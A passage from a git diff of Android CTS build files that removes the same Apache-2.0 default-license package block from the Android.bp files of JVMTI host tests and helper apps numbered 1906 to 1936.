// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1906HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1906/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1906/app/Android.bp
index 1ad7493..b7c2379 100644
--- a/hostsidetests/jvmti/run-tests/test-1906/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1906/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1906DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1907/Android.bp b/hostsidetests/jvmti/run-tests/test-1907/Android.bp
index 960f194..13fe8e4 100644
--- a/hostsidetests/jvmti/run-tests/test-1907/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1907/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1907HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1907/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1907/app/Android.bp
index b990082..e608f12 100644
--- a/hostsidetests/jvmti/run-tests/test-1907/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1907/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1907DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1908/Android.bp b/hostsidetests/jvmti/run-tests/test-1908/Android.bp
index 5d6dcbf..21aa2a3 100644
--- a/hostsidetests/jvmti/run-tests/test-1908/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1908/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1908HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1908/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1908/app/Android.bp
index e69b256..1dc8780 100644
--- a/hostsidetests/jvmti/run-tests/test-1908/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1908/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1908DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1909/Android.bp b/hostsidetests/jvmti/run-tests/test-1909/Android.bp
index 049ef1d..df71e8f 100644
--- a/hostsidetests/jvmti/run-tests/test-1909/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1909/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1909HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1909/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1909/app/Android.bp
index 2364bf0..5ebbefc 100644
--- a/hostsidetests/jvmti/run-tests/test-1909/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1909/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1909DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1910/Android.bp b/hostsidetests/jvmti/run-tests/test-1910/Android.bp
index 9165c27..791ce9f 100644
--- a/hostsidetests/jvmti/run-tests/test-1910/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1910/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1910HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1910/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1910/app/Android.bp
index c0be83b..72f1704 100644
--- a/hostsidetests/jvmti/run-tests/test-1910/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1910/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1910DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1911/Android.bp b/hostsidetests/jvmti/run-tests/test-1911/Android.bp
index 609793d..b3dc656 100644
--- a/hostsidetests/jvmti/run-tests/test-1911/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1911/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1911HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1911/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1911/app/Android.bp
index 44ac1b2..30648cd 100644
--- a/hostsidetests/jvmti/run-tests/test-1911/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1911/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1911DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1912/Android.bp b/hostsidetests/jvmti/run-tests/test-1912/Android.bp
index 903e43d..8fdc19b 100644
--- a/hostsidetests/jvmti/run-tests/test-1912/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1912/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1912HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1912/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1912/app/Android.bp
index 1eb8420..0029625 100644
--- a/hostsidetests/jvmti/run-tests/test-1912/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1912/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1912DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1913/Android.bp b/hostsidetests/jvmti/run-tests/test-1913/Android.bp
index 96c6368..5ef38fa 100644
--- a/hostsidetests/jvmti/run-tests/test-1913/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1913/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1913HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1913/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1913/app/Android.bp
index 37a7d17..20c656f 100644
--- a/hostsidetests/jvmti/run-tests/test-1913/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1913/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1913DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1914/Android.bp b/hostsidetests/jvmti/run-tests/test-1914/Android.bp
index f5ff8cc..7be3ddd 100644
--- a/hostsidetests/jvmti/run-tests/test-1914/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1914/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1914HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1914/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1914/app/Android.bp
index 6e3e961..ab381ba 100644
--- a/hostsidetests/jvmti/run-tests/test-1914/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1914/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1914DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1915/Android.bp b/hostsidetests/jvmti/run-tests/test-1915/Android.bp
index 49ee753..0ba22cc 100644
--- a/hostsidetests/jvmti/run-tests/test-1915/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1915/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1915HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1915/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1915/app/Android.bp
index 5b65b8d..e69cbd8 100644
--- a/hostsidetests/jvmti/run-tests/test-1915/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1915/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1915DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1916/Android.bp b/hostsidetests/jvmti/run-tests/test-1916/Android.bp
index f4e5c89..4e7e4e5 100644
--- a/hostsidetests/jvmti/run-tests/test-1916/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1916/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1916HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1916/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1916/app/Android.bp
index afa6418..fbfc346 100644
--- a/hostsidetests/jvmti/run-tests/test-1916/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1916/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1916DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1917/Android.bp b/hostsidetests/jvmti/run-tests/test-1917/Android.bp
index cb82cdb..64898af 100644
--- a/hostsidetests/jvmti/run-tests/test-1917/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1917/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1917HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1917/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1917/app/Android.bp
index 053c119..6e00971 100644
--- a/hostsidetests/jvmti/run-tests/test-1917/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1917/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1917DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1920/Android.bp b/hostsidetests/jvmti/run-tests/test-1920/Android.bp
index 1fac722e..c8926b9 100644
--- a/hostsidetests/jvmti/run-tests/test-1920/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1920/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1920HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1920/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1920/app/Android.bp
index 3d7b39e..85a13cb 100644
--- a/hostsidetests/jvmti/run-tests/test-1920/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1920/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1920DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1921/Android.bp b/hostsidetests/jvmti/run-tests/test-1921/Android.bp
index 16ca73d..a6c357f 100644
--- a/hostsidetests/jvmti/run-tests/test-1921/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1921/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1921HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1921/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1921/app/Android.bp
index a8a8b2b..e55bcb6 100644
--- a/hostsidetests/jvmti/run-tests/test-1921/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1921/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1921DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1922/Android.bp b/hostsidetests/jvmti/run-tests/test-1922/Android.bp
index 1cf47ec..73e8e51 100644
--- a/hostsidetests/jvmti/run-tests/test-1922/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1922/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1922HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1922/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1922/app/Android.bp
index 08523b3..7419c80 100644
--- a/hostsidetests/jvmti/run-tests/test-1922/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1922/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1922DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1923/Android.bp b/hostsidetests/jvmti/run-tests/test-1923/Android.bp
index 3f20a27..d2d6dcb 100644
--- a/hostsidetests/jvmti/run-tests/test-1923/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1923/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1923HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1923/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1923/app/Android.bp
index ef9fafc..df1e773 100644
--- a/hostsidetests/jvmti/run-tests/test-1923/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1923/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1923DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1924/Android.bp b/hostsidetests/jvmti/run-tests/test-1924/Android.bp
index 36fcd19..4c4fcd7 100644
--- a/hostsidetests/jvmti/run-tests/test-1924/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1924/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1924HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1924/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1924/app/Android.bp
index 1105422..1a18d4f 100644
--- a/hostsidetests/jvmti/run-tests/test-1924/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1924/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1924DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1925/Android.bp b/hostsidetests/jvmti/run-tests/test-1925/Android.bp
index b3d7d82..a981c3c 100644
--- a/hostsidetests/jvmti/run-tests/test-1925/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1925/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1925HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1925/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1925/app/Android.bp
index 5e92037..9210b43 100644
--- a/hostsidetests/jvmti/run-tests/test-1925/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1925/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1925DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1926/Android.bp b/hostsidetests/jvmti/run-tests/test-1926/Android.bp
index 3420b61..110866e 100644
--- a/hostsidetests/jvmti/run-tests/test-1926/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1926/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1926HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1926/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1926/app/Android.bp
index 5de779e..d222132 100644
--- a/hostsidetests/jvmti/run-tests/test-1926/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1926/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1926DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1927/Android.bp b/hostsidetests/jvmti/run-tests/test-1927/Android.bp
index 88229ff..eb7078c 100644
--- a/hostsidetests/jvmti/run-tests/test-1927/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1927/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1927HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1927/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1927/app/Android.bp
index 7d546ff..ee61952 100644
--- a/hostsidetests/jvmti/run-tests/test-1927/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1927/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1927DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1928/Android.bp b/hostsidetests/jvmti/run-tests/test-1928/Android.bp
index fe94bb8..1a678da 100644
--- a/hostsidetests/jvmti/run-tests/test-1928/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1928/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1928HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1928/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1928/app/Android.bp
index 003d758..54511d4 100644
--- a/hostsidetests/jvmti/run-tests/test-1928/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1928/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1928DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1930/Android.bp b/hostsidetests/jvmti/run-tests/test-1930/Android.bp
index b80e3b0..23c9b59 100644
--- a/hostsidetests/jvmti/run-tests/test-1930/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1930/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1930HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1930/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1930/app/Android.bp
index 09cb450..0dcd23e 100644
--- a/hostsidetests/jvmti/run-tests/test-1930/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1930/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1930DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1931/Android.bp b/hostsidetests/jvmti/run-tests/test-1931/Android.bp
index 972f75e..feb6e6a 100644
--- a/hostsidetests/jvmti/run-tests/test-1931/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1931/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1931HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1931/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1931/app/Android.bp
index d0beb7c..c3fc64a 100644
--- a/hostsidetests/jvmti/run-tests/test-1931/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1931/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1931DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1932/Android.bp b/hostsidetests/jvmti/run-tests/test-1932/Android.bp
index ff0d225..5aee52d 100644
--- a/hostsidetests/jvmti/run-tests/test-1932/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1932/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1932HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1932/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1932/app/Android.bp
index cd1ced8..a317ca5 100644
--- a/hostsidetests/jvmti/run-tests/test-1932/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1932/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1932DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1933/Android.bp b/hostsidetests/jvmti/run-tests/test-1933/Android.bp
index 1b0f483..cb0fed0b 100644
--- a/hostsidetests/jvmti/run-tests/test-1933/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1933/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1933HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1933/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1933/app/Android.bp
index c9f867e..62a62ea 100644
--- a/hostsidetests/jvmti/run-tests/test-1933/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1933/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1933DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1934/Android.bp b/hostsidetests/jvmti/run-tests/test-1934/Android.bp
index 079f6de..301ffba 100644
--- a/hostsidetests/jvmti/run-tests/test-1934/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1934/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1934HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1934/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1934/app/Android.bp
index 3c7dff0..2b73db8 100644
--- a/hostsidetests/jvmti/run-tests/test-1934/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1934/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1934DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1936/Android.bp b/hostsidetests/jvmti/run-tests/test-1936/Android.bp
index ff1c9a5..6e3e1d7 100644
--- a/hostsidetests/jvmti/run-tests/test-1936/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1936/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1936HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1936/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1936/app/Android.bp
index 2d6b7a3..4f15834 100644
--- a/hostsidetests/jvmti/run-tests/test-1936/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1936/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1936DeviceApp",
